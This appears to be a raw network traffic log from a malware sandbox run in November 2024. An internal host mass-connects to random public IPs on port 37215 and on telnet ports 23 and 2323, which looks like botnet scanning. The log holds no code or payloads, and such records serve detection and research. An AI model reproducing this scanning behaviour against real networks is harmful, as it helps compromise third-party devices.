Nov 3, 2024 15:37:10.481880903 CET	37215	35945	197.207.5.65	192.168.2.14
Nov 3, 2024 15:37:10.481889009 CET	35945	37215	192.168.2.14	41.255.69.164
Nov 3, 2024 15:37:10.481890917 CET	37215	35945	156.141.79.35	192.168.2.14
Nov 3, 2024 15:37:10.481899977 CET	35945	37215	192.168.2.14	41.62.246.27
Nov 3, 2024 15:37:10.481909037 CET	37215	35945	197.29.182.21	192.168.2.14
Nov 3, 2024 15:37:10.481910944 CET	35945	37215	192.168.2.14	197.207.5.65
Nov 3, 2024 15:37:10.481920004 CET	37215	35945	197.252.73.76	192.168.2.14
Nov 3, 2024 15:37:10.481921911 CET	35945	37215	192.168.2.14	156.141.79.35
Nov 3, 2024 15:37:10.481930017 CET	37215	35945	156.156.146.77	192.168.2.14
Nov 3, 2024 15:37:10.481940985 CET	37215	35945	41.25.77.101	192.168.2.14
Nov 3, 2024 15:37:10.481940985 CET	35945	37215	192.168.2.14	197.29.182.21
Nov 3, 2024 15:37:10.481950998 CET	35945	37215	192.168.2.14	197.252.73.76
Nov 3, 2024 15:37:10.481951952 CET	37215	35945	197.75.119.220	192.168.2.14
Nov 3, 2024 15:37:10.481961012 CET	35945	37215	192.168.2.14	156.156.146.77
Nov 3, 2024 15:37:10.481969118 CET	37215	35945	41.12.136.222	192.168.2.14
Nov 3, 2024 15:37:10.481973886 CET	35945	37215	192.168.2.14	41.25.77.101
Nov 3, 2024 15:37:10.481978893 CET	37215	35945	41.172.131.133	192.168.2.14
Nov 3, 2024 15:37:10.481988907 CET	35945	37215	192.168.2.14	197.75.119.220
Nov 3, 2024 15:37:10.481990099 CET	37215	35945	41.172.205.85	192.168.2.14
Nov 3, 2024 15:37:10.481997967 CET	37215	35945	197.154.243.96	192.168.2.14
Nov 3, 2024 15:37:10.482007027 CET	37215	35945	197.121.123.3	192.168.2.14
Nov 3, 2024 15:37:10.482012033 CET	35945	37215	192.168.2.14	41.12.136.222
Nov 3, 2024 15:37:10.482017040 CET	37215	35945	197.194.122.56	192.168.2.14
Nov 3, 2024 15:37:10.482018948 CET	35945	37215	192.168.2.14	41.172.131.133
Nov 3, 2024 15:37:10.482019901 CET	35945	37215	192.168.2.14	41.172.205.85
Nov 3, 2024 15:37:10.482027054 CET	35945	37215	192.168.2.14	197.154.243.96
Nov 3, 2024 15:37:10.482033968 CET	35945	37215	192.168.2.14	197.121.123.3
Nov 3, 2024 15:37:10.482036114 CET	35945	37215	192.168.2.14	197.194.122.56
Nov 3, 2024 15:37:10.482220888 CET	37215	35945	156.121.176.80	192.168.2.14
Nov 3, 2024 15:37:10.482230902 CET	37215	35945	41.167.38.125	192.168.2.14
Nov 3, 2024 15:37:10.482239008 CET	37215	35945	41.43.117.236	192.168.2.14
Nov 3, 2024 15:37:10.482249022 CET	37215	35945	197.55.127.63	192.168.2.14
Nov 3, 2024 15:37:10.482259035 CET	37215	35945	156.166.222.228	192.168.2.14
Nov 3, 2024 15:37:10.482259989 CET	35945	37215	192.168.2.14	41.167.38.125
Nov 3, 2024 15:37:10.482260942 CET	35945	37215	192.168.2.14	156.121.176.80
Nov 3, 2024 15:37:10.482266903 CET	35945	37215	192.168.2.14	41.43.117.236
Nov 3, 2024 15:37:10.482269049 CET	37215	35945	197.15.68.83	192.168.2.14
Nov 3, 2024 15:37:10.482278109 CET	37215	35945	197.24.133.247	192.168.2.14
Nov 3, 2024 15:37:10.482280970 CET	37215	35945	41.224.181.154	192.168.2.14
Nov 3, 2024 15:37:10.482281923 CET	35945	37215	192.168.2.14	197.55.127.63
Nov 3, 2024 15:37:10.482289076 CET	35945	37215	192.168.2.14	156.166.222.228
Nov 3, 2024 15:37:10.482300997 CET	35945	37215	192.168.2.14	41.224.181.154
Nov 3, 2024 15:37:10.482306957 CET	37215	35945	41.121.49.158	192.168.2.14
Nov 3, 2024 15:37:10.482309103 CET	35945	37215	192.168.2.14	197.24.133.247
Nov 3, 2024 15:37:10.482310057 CET	35945	37215	192.168.2.14	197.15.68.83
Nov 3, 2024 15:37:10.482317924 CET	37215	35945	156.227.69.153	192.168.2.14
Nov 3, 2024 15:37:10.482327938 CET	37215	35945	41.112.239.78	192.168.2.14
Nov 3, 2024 15:37:10.482336998 CET	35945	37215	192.168.2.14	41.121.49.158
Nov 3, 2024 15:37:10.482343912 CET	37215	35945	197.78.1.211	192.168.2.14
Nov 3, 2024 15:37:10.482352972 CET	37215	35945	41.42.206.26	192.168.2.14
Nov 3, 2024 15:37:10.482352972 CET	35945	37215	192.168.2.14	156.227.69.153
Nov 3, 2024 15:37:10.482352972 CET	35945	37215	192.168.2.14	41.112.239.78
Nov 3, 2024 15:37:10.482362032 CET	37215	35945	41.112.91.106	192.168.2.14
Nov 3, 2024 15:37:10.482371092 CET	37215	35945	197.95.191.51	192.168.2.14
Nov 3, 2024 15:37:10.482377052 CET	35945	37215	192.168.2.14	197.78.1.211
Nov 3, 2024 15:37:10.482378006 CET	35945	37215	192.168.2.14	41.42.206.26
Nov 3, 2024 15:37:10.482378960 CET	37215	35945	197.253.207.134	192.168.2.14
Nov 3, 2024 15:37:10.482388973 CET	37215	35945	156.238.102.180	192.168.2.14
Nov 3, 2024 15:37:10.482393026 CET	35945	37215	192.168.2.14	197.95.191.51
Nov 3, 2024 15:37:10.482398033 CET	37215	35945	41.127.204.124	192.168.2.14
Nov 3, 2024 15:37:10.482398033 CET	35945	37215	192.168.2.14	41.112.91.106
Nov 3, 2024 15:37:10.482408047 CET	37215	35945	197.171.78.232	192.168.2.14
Nov 3, 2024 15:37:10.482415915 CET	35945	37215	192.168.2.14	197.253.207.134
Nov 3, 2024 15:37:10.482417107 CET	35945	37215	192.168.2.14	156.238.102.180
Nov 3, 2024 15:37:10.482424974 CET	37215	35945	41.201.91.111	192.168.2.14
Nov 3, 2024 15:37:10.482428074 CET	35945	37215	192.168.2.14	197.171.78.232
Nov 3, 2024 15:37:10.482433081 CET	35945	37215	192.168.2.14	41.127.204.124
Nov 3, 2024 15:37:10.482441902 CET	37215	35945	41.138.218.100	192.168.2.14
Nov 3, 2024 15:37:10.482451916 CET	37215	35945	156.134.98.81	192.168.2.14
Nov 3, 2024 15:37:10.482460022 CET	37215	35945	41.76.27.99	192.168.2.14
Nov 3, 2024 15:37:10.482460976 CET	35945	37215	192.168.2.14	41.201.91.111
Nov 3, 2024 15:37:10.482467890 CET	37215	35945	156.197.111.45	192.168.2.14
Nov 3, 2024 15:37:10.482474089 CET	35945	37215	192.168.2.14	41.138.218.100
Nov 3, 2024 15:37:10.482477903 CET	37215	35945	156.166.35.14	192.168.2.14
Nov 3, 2024 15:37:10.482479095 CET	35945	37215	192.168.2.14	156.134.98.81
Nov 3, 2024 15:37:10.482491970 CET	37215	35945	156.190.47.71	192.168.2.14
Nov 3, 2024 15:37:10.482491970 CET	35945	37215	192.168.2.14	41.76.27.99
Nov 3, 2024 15:37:10.482498884 CET	35945	37215	192.168.2.14	156.197.111.45
Nov 3, 2024 15:37:10.482506990 CET	37215	35945	156.162.147.184	192.168.2.14
Nov 3, 2024 15:37:10.482507944 CET	35945	37215	192.168.2.14	156.166.35.14
Nov 3, 2024 15:37:10.482522964 CET	37215	35945	156.129.61.7	192.168.2.14
Nov 3, 2024 15:37:10.482532978 CET	35945	37215	192.168.2.14	156.162.147.184
Nov 3, 2024 15:37:10.482548952 CET	37215	35945	41.159.60.138	192.168.2.14
Nov 3, 2024 15:37:10.482549906 CET	35945	37215	192.168.2.14	156.190.47.71
Nov 3, 2024 15:37:10.482553959 CET	35945	37215	192.168.2.14	156.129.61.7
Nov 3, 2024 15:37:10.482558012 CET	37215	35945	197.30.71.135	192.168.2.14
Nov 3, 2024 15:37:10.482568979 CET	37215	35945	197.204.86.31	192.168.2.14
Nov 3, 2024 15:37:10.482577085 CET	35945	37215	192.168.2.14	41.159.60.138
Nov 3, 2024 15:37:10.482577085 CET	35945	37215	192.168.2.14	197.30.71.135
Nov 3, 2024 15:37:10.482578039 CET	37215	35945	41.34.114.18	192.168.2.14
Nov 3, 2024 15:37:10.482589006 CET	37215	35945	41.231.76.1	192.168.2.14
Nov 3, 2024 15:37:10.482598066 CET	35945	37215	192.168.2.14	197.204.86.31
Nov 3, 2024 15:37:10.482599020 CET	37215	35945	41.212.128.103	192.168.2.14
Nov 3, 2024 15:37:10.482608080 CET	35945	37215	192.168.2.14	41.34.114.18
Nov 3, 2024 15:37:10.482609034 CET	37215	35945	197.78.145.81	192.168.2.14
Nov 3, 2024 15:37:10.482618093 CET	35945	37215	192.168.2.14	41.231.76.1
Nov 3, 2024 15:37:10.482618093 CET	37215	35945	41.229.214.223	192.168.2.14
Nov 3, 2024 15:37:10.482623100 CET	35945	37215	192.168.2.14	41.212.128.103
Nov 3, 2024 15:37:10.482628107 CET	37215	35945	156.73.140.184	192.168.2.14
Nov 3, 2024 15:37:10.482637882 CET	37215	35945	41.0.115.160	192.168.2.14
Nov 3, 2024 15:37:10.482647896 CET	37215	35945	156.208.253.108	192.168.2.14
Nov 3, 2024 15:37:10.482647896 CET	35945	37215	192.168.2.14	197.78.145.81
Nov 3, 2024 15:37:10.482650042 CET	35945	37215	192.168.2.14	41.229.214.223
Nov 3, 2024 15:37:10.482657909 CET	35945	37215	192.168.2.14	156.73.140.184
Nov 3, 2024 15:37:10.482657909 CET	37215	35945	41.145.60.242	192.168.2.14
Nov 3, 2024 15:37:10.482666969 CET	35945	37215	192.168.2.14	41.0.115.160
Nov 3, 2024 15:37:10.482681990 CET	35945	37215	192.168.2.14	156.208.253.108
Nov 3, 2024 15:37:10.482683897 CET	37215	35945	41.149.194.200	192.168.2.14
Nov 3, 2024 15:37:10.482685089 CET	35945	37215	192.168.2.14	41.145.60.242
Nov 3, 2024 15:37:10.482695103 CET	37215	35945	197.58.130.0	192.168.2.14
Nov 3, 2024 15:37:10.482703924 CET	37215	35945	156.249.106.208	192.168.2.14
Nov 3, 2024 15:37:10.482708931 CET	37215	35945	156.157.244.209	192.168.2.14
Nov 3, 2024 15:37:10.482712984 CET	37215	35945	197.158.59.240	192.168.2.14
Nov 3, 2024 15:37:10.482717991 CET	37215	35945	41.250.147.220	192.168.2.14
Nov 3, 2024 15:37:10.482723951 CET	35945	37215	192.168.2.14	41.149.194.200
Nov 3, 2024 15:37:10.482727051 CET	37215	35945	197.215.179.68	192.168.2.14
Nov 3, 2024 15:37:10.482738018 CET	37215	35945	197.130.16.4	192.168.2.14
Nov 3, 2024 15:37:10.482743025 CET	35945	37215	192.168.2.14	156.157.244.209
Nov 3, 2024 15:37:10.482747078 CET	35945	37215	192.168.2.14	156.249.106.208
Nov 3, 2024 15:37:10.482754946 CET	35945	37215	192.168.2.14	197.215.179.68
Nov 3, 2024 15:37:10.482755899 CET	35945	37215	192.168.2.14	197.58.130.0
Nov 3, 2024 15:37:10.482755899 CET	35945	37215	192.168.2.14	197.158.59.240
Nov 3, 2024 15:37:10.482755899 CET	35945	37215	192.168.2.14	41.250.147.220
Nov 3, 2024 15:37:10.482763052 CET	37215	35945	41.236.218.148	192.168.2.14
Nov 3, 2024 15:37:10.482770920 CET	35945	37215	192.168.2.14	197.130.16.4
Nov 3, 2024 15:37:10.482779026 CET	37215	35945	197.37.126.197	192.168.2.14
Nov 3, 2024 15:37:10.482786894 CET	37215	35945	41.30.200.177	192.168.2.14
Nov 3, 2024 15:37:10.482795954 CET	37215	35945	41.171.191.48	192.168.2.14
Nov 3, 2024 15:37:10.482796907 CET	35945	37215	192.168.2.14	41.236.218.148
Nov 3, 2024 15:37:10.482805014 CET	35945	37215	192.168.2.14	197.37.126.197
Nov 3, 2024 15:37:10.482805014 CET	37215	35945	41.135.11.191	192.168.2.14
Nov 3, 2024 15:37:10.482817888 CET	37215	35945	156.33.128.194	192.168.2.14
Nov 3, 2024 15:37:10.482825041 CET	35945	37215	192.168.2.14	41.171.191.48
Nov 3, 2024 15:37:10.482825994 CET	35945	37215	192.168.2.14	41.30.200.177
Nov 3, 2024 15:37:10.482831001 CET	35945	37215	192.168.2.14	41.135.11.191
Nov 3, 2024 15:37:10.482832909 CET	37215	35945	41.97.140.252	192.168.2.14
Nov 3, 2024 15:37:10.482841969 CET	35945	37215	192.168.2.14	156.33.128.194
Nov 3, 2024 15:37:10.482842922 CET	37215	35945	156.206.131.210	192.168.2.14
Nov 3, 2024 15:37:10.482853889 CET	37215	35945	156.66.160.48	192.168.2.14
Nov 3, 2024 15:37:10.482861996 CET	37215	35945	156.70.28.152	192.168.2.14
Nov 3, 2024 15:37:10.482870102 CET	35945	37215	192.168.2.14	156.206.131.210
Nov 3, 2024 15:37:10.482871056 CET	35945	37215	192.168.2.14	41.97.140.252
Nov 3, 2024 15:37:10.482886076 CET	35945	37215	192.168.2.14	156.66.160.48
Nov 3, 2024 15:37:10.482887030 CET	35945	37215	192.168.2.14	156.70.28.152
Nov 3, 2024 15:37:10.489573956 CET	47948	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:10.489578962 CET	37400	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:10.489578962 CET	36400	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:10.489584923 CET	44444	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:10.489587069 CET	43142	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:10.489587069 CET	43386	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:10.489587069 CET	60212	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:10.489588976 CET	39046	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:10.489593029 CET	43192	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:10.489593029 CET	53370	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:10.489593983 CET	42538	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:10.489602089 CET	38098	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:10.489603043 CET	34358	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:10.489609003 CET	39464	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:10.489610910 CET	46550	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:10.489618063 CET	58956	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:10.489618063 CET	35006	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:10.489619017 CET	37390	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:10.489623070 CET	58986	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:10.489625931 CET	41458	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:10.489629030 CET	46070	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:10.489629030 CET	47242	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:10.489640951 CET	59008	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:10.489643097 CET	42594	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:10.489645004 CET	46224	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:10.489646912 CET	57604	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:10.489654064 CET	37986	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:10.489658117 CET	38468	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:10.489660025 CET	47030	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:10.489665031 CET	46218	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:10.489665031 CET	54944	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:10.489670038 CET	48574	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:10.489675999 CET	53788	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:10.489680052 CET	38716	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:10.489680052 CET	40416	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:10.489686012 CET	55294	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:10.489691019 CET	39490	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:10.489691019 CET	52128	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:10.489698887 CET	60912	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:10.489706039 CET	48662	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:10.489706993 CET	57672	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:10.489708900 CET	42750	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:10.489708900 CET	33646	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:10.489717960 CET	60174	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:10.489720106 CET	58264	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:10.489726067 CET	36792	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:10.489727974 CET	53934	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:10.489728928 CET	55850	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:10.489733934 CET	39028	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:10.489741087 CET	35248	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:10.489741087 CET	39042	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:10.489748955 CET	48098	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:10.489748955 CET	36708	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:10.489751101 CET	51356	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:10.489754915 CET	39852	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:10.489764929 CET	42272	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:10.489768982 CET	43584	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:10.489773989 CET	35176	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:10.489773989 CET	43514	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:10.489779949 CET	59344	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:10.489780903 CET	47494	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:10.489789963 CET	41188	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:10.489789963 CET	40732	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:10.489789963 CET	40022	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:10.489799976 CET	37800	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:10.489803076 CET	51966	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:10.489809036 CET	59242	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:10.489809990 CET	44648	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:10.489809990 CET	58848	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:10.489818096 CET	60554	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:10.489823103 CET	54404	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:10.489824057 CET	37438	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:10.489828110 CET	48046	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:10.489829063 CET	41530	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:10.489836931 CET	34578	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:10.489839077 CET	47092	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:10.489844084 CET	49862	37215	192.168.2.14	156.187.67.11
Nov 3, 2024 15:37:10.489845037 CET	43684	37215	192.168.2.14	41.22.164.49
Nov 3, 2024 15:37:10.489850998 CET	58232	37215	192.168.2.14	156.29.35.98
Nov 3, 2024 15:37:10.489855051 CET	34288	37215	192.168.2.14	197.201.134.233
Nov 3, 2024 15:37:10.489855051 CET	53194	37215	192.168.2.14	197.81.39.24
Nov 3, 2024 15:37:10.489862919 CET	46144	37215	192.168.2.14	197.187.1.98
Nov 3, 2024 15:37:10.489869118 CET	41374	37215	192.168.2.14	41.18.15.227
Nov 3, 2024 15:37:10.489876032 CET	60498	37215	192.168.2.14	156.93.27.183
Nov 3, 2024 15:37:10.489876986 CET	51290	37215	192.168.2.14	197.251.254.108
Nov 3, 2024 15:37:10.489881992 CET	36444	37215	192.168.2.14	156.83.90.144
Nov 3, 2024 15:37:10.489881992 CET	45768	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:10.489887953 CET	51800	37215	192.168.2.14	41.183.156.167
Nov 3, 2024 15:37:10.489896059 CET	41594	37215	192.168.2.14	156.87.37.60
Nov 3, 2024 15:37:10.489897013 CET	60862	37215	192.168.2.14	197.122.28.224
Nov 3, 2024 15:37:10.489901066 CET	38908	37215	192.168.2.14	41.43.89.156
Nov 3, 2024 15:37:10.489901066 CET	42446	37215	192.168.2.14	41.227.204.54
Nov 3, 2024 15:37:10.489903927 CET	58202	37215	192.168.2.14	197.51.211.151
Nov 3, 2024 15:37:10.489903927 CET	60724	37215	192.168.2.14	197.54.205.67
Nov 3, 2024 15:37:10.489908934 CET	41650	37215	192.168.2.14	197.161.115.17
Nov 3, 2024 15:37:10.494402885 CET	37215	47948	156.184.33.107	192.168.2.14
Nov 3, 2024 15:37:10.494461060 CET	47948	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:10.494472980 CET	37215	37400	197.53.18.10	192.168.2.14
Nov 3, 2024 15:37:10.494491100 CET	47948	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:10.494508028 CET	37400	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:10.494528055 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:10.494556904 CET	37400	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:10.494568110 CET	53538	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:10.497097015 CET	36201	23	192.168.2.14	206.137.94.17
Nov 3, 2024 15:37:10.497097015 CET	36201	23	192.168.2.14	18.31.139.249
Nov 3, 2024 15:37:10.497097015 CET	36201	2323	192.168.2.14	42.216.203.51
Nov 3, 2024 15:37:10.497097969 CET	36201	23	192.168.2.14	108.6.21.203
Nov 3, 2024 15:37:10.497108936 CET	36201	23	192.168.2.14	115.141.216.148
Nov 3, 2024 15:37:10.497108936 CET	36201	23	192.168.2.14	31.174.0.222
Nov 3, 2024 15:37:10.497108936 CET	36201	23	192.168.2.14	101.18.167.162
Nov 3, 2024 15:37:10.497109890 CET	36201	23	192.168.2.14	145.47.114.123
Nov 3, 2024 15:37:10.497108936 CET	36201	23	192.168.2.14	106.104.231.46
Nov 3, 2024 15:37:10.497118950 CET	36201	23	192.168.2.14	100.188.221.206
Nov 3, 2024 15:37:10.497121096 CET	36201	23	192.168.2.14	41.53.92.235
Nov 3, 2024 15:37:10.497121096 CET	36201	23	192.168.2.14	65.8.86.174
Nov 3, 2024 15:37:10.497122049 CET	36201	2323	192.168.2.14	151.224.184.56
Nov 3, 2024 15:37:10.497122049 CET	36201	23	192.168.2.14	99.14.161.140
Nov 3, 2024 15:37:10.497122049 CET	36201	23	192.168.2.14	218.121.180.240
Nov 3, 2024 15:37:10.497123003 CET	36201	23	192.168.2.14	161.46.40.62
Nov 3, 2024 15:37:10.497128010 CET	36201	23	192.168.2.14	112.142.182.170
Nov 3, 2024 15:37:10.497129917 CET	36201	23	192.168.2.14	19.101.107.170
Nov 3, 2024 15:37:10.497132063 CET	36201	23	192.168.2.14	76.219.5.34
Nov 3, 2024 15:37:10.497132063 CET	36201	23	192.168.2.14	103.208.130.235
Nov 3, 2024 15:37:10.497134924 CET	36201	23	192.168.2.14	150.146.11.191
Nov 3, 2024 15:37:10.497137070 CET	36201	23	192.168.2.14	147.176.123.142
Nov 3, 2024 15:37:10.497137070 CET	36201	2323	192.168.2.14	171.248.136.204
Nov 3, 2024 15:37:10.497138023 CET	36201	2323	192.168.2.14	97.159.32.135
Nov 3, 2024 15:37:10.497138023 CET	36201	23	192.168.2.14	193.73.86.14
Nov 3, 2024 15:37:10.497140884 CET	36201	23	192.168.2.14	111.37.202.52
Nov 3, 2024 15:37:10.497140884 CET	36201	23	192.168.2.14	69.56.33.91
Nov 3, 2024 15:37:10.497140884 CET	36201	23	192.168.2.14	20.50.117.147
Nov 3, 2024 15:37:10.497143030 CET	36201	23	192.168.2.14	221.101.44.247
Nov 3, 2024 15:37:10.497143030 CET	36201	23	192.168.2.14	178.59.255.183
Nov 3, 2024 15:37:10.497143030 CET	36201	23	192.168.2.14	107.207.0.73
Nov 3, 2024 15:37:10.497147083 CET	36201	23	192.168.2.14	136.93.151.247
Nov 3, 2024 15:37:10.497150898 CET	36201	23	192.168.2.14	136.226.202.148
Nov 3, 2024 15:37:10.497152090 CET	36201	23	192.168.2.14	163.120.208.110
Nov 3, 2024 15:37:10.497152090 CET	36201	23	192.168.2.14	222.157.27.6
Nov 3, 2024 15:37:10.497152090 CET	36201	23	192.168.2.14	192.11.249.28
Nov 3, 2024 15:37:10.497159958 CET	36201	23	192.168.2.14	202.253.26.40
Nov 3, 2024 15:37:10.497162104 CET	36201	23	192.168.2.14	73.68.209.183
Nov 3, 2024 15:37:10.497162104 CET	36201	23	192.168.2.14	2.157.163.12
Nov 3, 2024 15:37:10.497167110 CET	36201	23	192.168.2.14	123.189.156.69
Nov 3, 2024 15:37:10.497179031 CET	36201	23	192.168.2.14	104.90.207.80
Nov 3, 2024 15:37:10.497179985 CET	36201	2323	192.168.2.14	151.149.250.7
Nov 3, 2024 15:37:10.497179985 CET	36201	23	192.168.2.14	90.85.206.177
Nov 3, 2024 15:37:10.497183084 CET	36201	23	192.168.2.14	216.198.203.52
Nov 3, 2024 15:37:10.497188091 CET	36201	23	192.168.2.14	100.211.159.9
Nov 3, 2024 15:37:10.497198105 CET	36201	23	192.168.2.14	209.26.100.70
Nov 3, 2024 15:37:10.497200012 CET	36201	23	192.168.2.14	32.59.155.147
Nov 3, 2024 15:37:10.497200012 CET	36201	23	192.168.2.14	37.24.206.219
Nov 3, 2024 15:37:10.497201920 CET	36201	23	192.168.2.14	71.232.247.210
Nov 3, 2024 15:37:10.497203112 CET	36201	23	192.168.2.14	163.97.107.28
Nov 3, 2024 15:37:10.497219086 CET	36201	2323	192.168.2.14	95.49.1.186
Nov 3, 2024 15:37:10.497221947 CET	36201	23	192.168.2.14	94.245.46.209
Nov 3, 2024 15:37:10.497221947 CET	36201	23	192.168.2.14	188.202.42.20
Nov 3, 2024 15:37:10.497221947 CET	36201	23	192.168.2.14	151.181.237.158
Nov 3, 2024 15:37:10.497226000 CET	36201	23	192.168.2.14	13.195.94.160
Nov 3, 2024 15:37:10.497242928 CET	36201	23	192.168.2.14	207.39.244.8
Nov 3, 2024 15:37:10.497242928 CET	36201	23	192.168.2.14	148.92.183.10
Nov 3, 2024 15:37:10.497243881 CET	36201	23	192.168.2.14	223.195.36.219
Nov 3, 2024 15:37:10.497245073 CET	36201	23	192.168.2.14	168.218.16.105
Nov 3, 2024 15:37:10.497246981 CET	36201	23	192.168.2.14	14.179.191.191
Nov 3, 2024 15:37:10.497250080 CET	36201	2323	192.168.2.14	105.207.52.2
Nov 3, 2024 15:37:10.497256041 CET	36201	23	192.168.2.14	118.4.123.199
Nov 3, 2024 15:37:10.497262955 CET	36201	23	192.168.2.14	198.81.139.119
Nov 3, 2024 15:37:10.497262955 CET	36201	23	192.168.2.14	64.6.252.106
Nov 3, 2024 15:37:10.497272968 CET	36201	23	192.168.2.14	150.172.20.35
Nov 3, 2024 15:37:10.497272968 CET	36201	23	192.168.2.14	40.15.96.9
Nov 3, 2024 15:37:10.497279882 CET	36201	23	192.168.2.14	13.173.231.19
Nov 3, 2024 15:37:10.497282982 CET	36201	23	192.168.2.14	46.215.76.57
Nov 3, 2024 15:37:10.497296095 CET	36201	2323	192.168.2.14	154.37.235.179
Nov 3, 2024 15:37:10.497298956 CET	36201	23	192.168.2.14	91.108.99.1
Nov 3, 2024 15:37:10.497299910 CET	36201	23	192.168.2.14	62.92.83.251
Nov 3, 2024 15:37:10.497299910 CET	36201	23	192.168.2.14	183.72.228.176
Nov 3, 2024 15:37:10.497308969 CET	36201	23	192.168.2.14	133.231.248.253
Nov 3, 2024 15:37:10.497309923 CET	36201	23	192.168.2.14	19.128.208.126
Nov 3, 2024 15:37:10.497317076 CET	36201	23	192.168.2.14	204.5.163.255
Nov 3, 2024 15:37:10.497318029 CET	36201	23	192.168.2.14	178.43.222.127
Nov 3, 2024 15:37:10.497323990 CET	36201	23	192.168.2.14	218.120.228.103
Nov 3, 2024 15:37:10.497324944 CET	36201	23	192.168.2.14	216.34.84.53
Nov 3, 2024 15:37:10.497324944 CET	36201	23	192.168.2.14	87.191.46.183
Nov 3, 2024 15:37:10.497334957 CET	36201	23	192.168.2.14	146.10.237.80
Nov 3, 2024 15:37:10.497340918 CET	36201	23	192.168.2.14	74.214.105.1
Nov 3, 2024 15:37:10.497345924 CET	36201	2323	192.168.2.14	35.110.56.113
Nov 3, 2024 15:37:10.497354031 CET	36201	23	192.168.2.14	189.191.179.68
Nov 3, 2024 15:37:10.497354984 CET	36201	23	192.168.2.14	196.156.34.117
Nov 3, 2024 15:37:10.497369051 CET	36201	23	192.168.2.14	48.68.130.194
Nov 3, 2024 15:37:10.497369051 CET	36201	23	192.168.2.14	5.47.30.47
Nov 3, 2024 15:37:10.497369051 CET	36201	23	192.168.2.14	13.119.224.136
Nov 3, 2024 15:37:10.497375011 CET	36201	23	192.168.2.14	53.231.234.127
